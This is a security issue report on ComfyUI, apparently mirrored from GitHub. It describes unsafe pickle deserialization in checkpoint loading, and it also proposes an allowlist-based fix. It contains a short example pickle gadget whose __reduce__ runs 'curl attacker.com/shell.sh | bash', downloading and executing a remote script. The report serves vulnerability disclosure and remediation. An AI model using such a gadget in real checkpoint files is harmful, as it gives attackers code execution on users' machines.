Comfy-Org / Comfy-Org/ComfyUI

Security: Unsafe pickle deserialization allows Remote Code Execution via malicious checkpoints

Open
#12,286 0 comments 0 reactions 0 assignees View on GitHub
Dominant language
Python
Stars
133k
Forks
15.7k
Avg merge
1d 6h
Merged PRs (30d)
155

Description

## Summary
The custom pickle unpickler in `comfy/checkpoint_pickle.py` provides insufficient protection against deserialization attacks, allowing Remote Code Execution when loading malicious checkpoint files.

## Vulnerability Details
**Type:** CWE-502 (Deserialization of Untrusted Data)
**Severity:** Critical
**Location:** `comfy/checkpoint_pickle.py:3-13`

## Root Cause
The `RestrictedUnpickler.find_class()` only blocks `pytorch_lightning` module but allows all other Python classes to be unpickled. This permits standard pickle RCE gadgets using `os.system`, `subprocess`, `builtins`, etc.

## Vulnerable Code
```python
class Unpickler(pickle.Unpickler):
def find_class(self, module, name):
#TODO: safe unpickle # <-- TODO indicates known issue
if module.startswith("pytorch_lightning"):
return Empty
return super().find_class(module, name) # Allows any other class
```

Also note:
```python
load = pickle.load # Direct assignment with no restrictions
```

## Attack Vector
1. Attacker creates malicious `.ckpt` or `.safetensors` file containing pickle gadget
2. User downloads checkpoint from untrusted source
3. ComfyUI loads checkpoint, triggering arbitrary code execution

## Example Gadget
```python
import pickle
import os

class RCE:
def __reduce__(self):
return (os.system, ('curl attacker.com/shell.sh | bash',))

malicious_payload = pickle.dumps(RCE())
```

## Impact
- Remote Code Execution on server/workstation
- Complete system compromise
- Data theft, cryptocurrency mining, ransomware
- Supply chain attacks via shared checkpoints

## Suggested Fix
Implement a strict allowlist for unpickling:
```python
class RestrictedUnpickler(pickle.Unpickler):
ALLOWED_MODULES = {
'torch', 'torch.nn', 'torch.nn.modules',
'numpy', 'collections', 'builtins'
}
BLOCKED_NAMES = {'eval', 'exec', 'compile', 'open', 'input', '__import__'}

def find_class(self, module, name):
if name in self.BLOCKED_NAMES:
raise pickle.UnpicklingError(f"Blocked: {name}")
if not any(module.startswith(m) for m in self.ALLOWED_MODULES):
raise pickle.UnpicklingError(f"Blocked module: {module}")
return super().find_class(module, name)
```

## Additional Recommendations
1. Default to `weights_only=True` for torch.load
2. Prefer `.safetensors` format which cannot contain executable code
3. Add warning when loading non-safetensors checkpoints
4. Consider signature verification for checkpoints

Happy to submit a PR with comprehensive fixes.

Contributor guide

Open the contributing guide

Research direction

Start by reading comfy/checkpoint_pickle.py, especially Unpickler.find_class and the load assignment, then trace where checkpoint files are loaded. Reproduce the reported malicious-pickle behavior in an isolated environment and identify compatibility needs for existing checkpoints. Done means unsafe deserialization is rejected while supported checkpoint loading remains functional, with regression coverage for both cases.

Written by the indexing model from the issue text.

Assessment

Tech stack
python, pytorch
Domain
security
Issue type
Bug
Difficulty
5/5
Estimated time
Over a week
Activity status
Stale
Clarity
Mostly clear
Newbie friendliness
35/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.